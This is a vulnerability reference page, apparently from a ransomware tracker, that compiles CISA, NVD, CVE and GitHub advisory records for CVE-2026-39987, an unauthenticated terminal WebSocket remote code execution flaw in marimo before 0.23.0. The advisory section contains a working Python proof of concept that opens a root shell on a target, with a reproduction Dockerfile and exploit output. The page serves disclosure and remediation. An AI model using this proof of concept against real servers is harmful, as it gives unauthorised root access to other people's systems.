CVE-2026-39987: Marimo Remote Code Execution Vulnerability

Reference page built from the source records below, each shown as its source publishes it. Dataset version ref-05713327d652, updated 2026-11-02T23:39:54.475Z.

CISA Known Exploited Vulnerabilities

Name
Marimo Remote Code Execution Vulnerability
Vendor
Marimo
Product
Marimo
Added to the catalog
2026-04-23
Due date for US federal agencies
2026-05-07
Weaknesses
CWE-306
Catalog version
2026.10.30

Marimo contains an pre-authorization remote code execution vulnerability, allowing an unauthenticated attacked to shell access and execute arbitrary system commands.

Required action (CISA)

Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Ransomware use: CISA does not mark known use of this vulnerability in ransomware campaigns.

Links in CISA's notes

Read on 2026-11-02T23:39:54.475Z under licence cisa-kev-cc0@b0067899 from https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json

NVD analysis

Status
Analyzed
Published
2026-04-09T18:17:02.807
Last modified
2026-06-17T10:42:51.460
Weaknesses
CWE-306

marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.

MetricScoreSeverityVectorScored by
CVSS 4.09.3CRITICALCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X[email protected] (Secondary)
CVSS 3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H[email protected] (Primary)

References

This product uses the NVD API but is not endorsed or certified by the NVD.

Read on 2026-11-02T23:42:31.494Z under licence nvd-api-terms-of-use@ff2a5288 from https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-39987

CVE record

Title (CNA)
marimo Affected by Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
Assigner
GitHub_M
State
PUBLISHED
Published
2026-04-09T17:16:55.639Z
Updated
2026-04-24T03:55:20.777Z
Problem types
CWE-306: Missing Authentication for Critical Function

marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.

References

Read on 2026-11-03T02:19:58.594Z under licence cve-terms-of-use@81bfa2f3 from https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/39xxx/CVE-2026-39987.json

GitHub Advisory Database

GHSA-2679-6mx9-h9xc: Marimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass

Severity (GitHub)
critical
CVSS
9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-306
Published
2026-04-08T21:50:58Z
Updated
2026-04-27T16:30:09Z
  • pip marimo: affected < 0.23.0, first patched 0.23.0

## Summary

Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.

Unlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.

## Affected Versions

Marimo <= 0.20.4

## Vulnerability Details

### Root Cause: Terminal WebSocket Missing Authentication

`marimo/_server/api/endpoints/terminal.py` lines 340-356:

```python
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# No authentication check!
await websocket.accept() # Accepts connection directly
# ...
child_pid, fd = pty.fork() # Creates PTY shell
```

Compare with the correctly implemented `/ws` endpoint (`ws_endpoint.py` lines 67-82):

```python
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # Correct auth check
return
```

### Authentication Middleware Limitation

Marimo uses Starlette's `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls.

The `/terminal/ws` endpoint has neither a `@requires("edit")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.

### Attack Chain

1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed)
2. `websocket.accept()` accepts the connection directly
3. `pty.fork()` creates a PTY child process
4. Full interactive shell with arbitrary command execution
5. Commands run as root in default Docker deployments

A single WebSocket connection yields a complete interactive shell.

## Proof of Concept

```python
import websocket
import time

# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)

# Drain initial output
try:
while True:
ws.settimeout(1)
ws.recv()
except:
pass

# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root)
ws.close()
```

### Reproduction Environment

```dockerfile
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
```

### Reproduction Result

With auth enabled (server generates random `access_token`), the exploit bypasses authentication entirely:

```
$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3
```

## Suggested Remediation

1. Add authentication validation to `/terminal/ws` endpoint, consistent with `/ws` using `WebSocketConnectionValidator.validate_auth()`
2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints
3. Terminal functionality should only be available when explicitly enabled, not on by default

## Impact

An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.

Read on 2026-11-03T02:47:44.472Z under licence ghsa-cc-by-4.0@9e5f1b3c from https://api.github.com/advisories/GHSA-2679-6mx9-h9xc

Also known as / affected packages

Defensive techniques (MITRE D3FEND)

D3FEND maps these defensive techniques to the weakness (CWE) that NVD lists for this CVE, through the digital artifacts the weakness affects. D3FEND does not say they stop this vulnerability.

CWE-306: Missing Authentication for Critical Function

D3FEND ontology version 1.6.0.

Read on 2026-11-02T23:55:55.098Z under licence d3fend-terms-of-use@f98cbc7e from https://d3fend.mitre.org/api/weakness/cwe/CWE-306.json

MITRE D3FEND™ knowledge graph. © 2025 The MITRE Corporation.
"The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use D3FEND for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy." Terms: https://d3fend.mitre.org/tou/

Sources and licences

  • CISA

    Source: CISA Catalog of Known Exploited Vulnerabilities, version 2026.10.30, CC0 1.0. Use of this data does not imply endorsement by CISA or DHS.

    CC0 1.0 Universal

  • National Vulnerability Database (NIST)

    This product uses the NVD API but is not endorsed or certified by the NVD.

    NVD API Terms of Use (NIST publications in the public domain, 17 U.S.C. 105)

  • CVE Program, The MITRE Corporation

    Copyright © 1999-2026, The MITRE Corporation. CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation. CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE™). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy.

    CVE Program Terms of Use ("CVE Usage" licence)

  • GitHub Advisory Database

    Source: GitHub Advisory Database, https://github.com/advisories/GHSA-2679-6mx9-h9xc, licensed under CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/). Changes: fields selected and reformatted by ransomware-tracker.com.

    CC BY 4.0

  • GitHub Advisory Database via OSV.dev

    GHSA-2679-6mx9-h9xc: GitHub Advisory Database, https://github.com/advisories/GHSA-2679-6mx9-h9xc. Licensed CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/), provided as is, without warranties. Retrieved via OSV.dev (https://osv.dev/vulnerability/GHSA-2679-6mx9-h9xc), which enriches records; fields selected and reformatted by ransomware-tracker.com.

    CC BY 4.0

  • MITRE D3FEND

    MITRE D3FEND™ knowledge graph. © 2025 The MITRE Corporation.
    "The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use D3FEND for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy." Terms: https://d3fend.mitre.org/tou/

    MITRE D3FEND Terms of Use (site + knowledge graph); source repo MIT

Cite this page

Dragons Eye Ransomware Tracker, "CVE-2026-39987: Marimo Remote Code Execution Vulnerability",
entity page, dataset version ref-05713327d652, updated 2026-11-02T23:39:54.475Z,
https://ransomware-tracker.com/cve/CVE-2026-39987 (accessed 2026-11-03).
Underlying source: CISA Catalog of Known Exploited Vulnerabilities, version 2026.10.30.
Underlying source: National Vulnerability Database (NIST), CVE API 2.0, record last modified 2026-06-17T10:42:51.460.
Underlying source: CVE List (CVE Program, The MITRE Corporation), record updated 2026-04-24T03:55:20.777Z.
Underlying source: GitHub Advisory Database, GHSA-2679-6mx9-h9xc, updated 2026-04-27T16:30:09Z.
Underlying source: GitHub Advisory Database, GHSA-2679-6mx9-h9xc, via OSV.dev, modified 2026-06-29T12:26:12.729455405Z.
Underlying source: MITRE D3FEND, ontology version 1.6.0.

Pages change. The dataset version identifies the data, but no archive of old versions is kept, so this citation cannot be replayed later.

CISA KEV index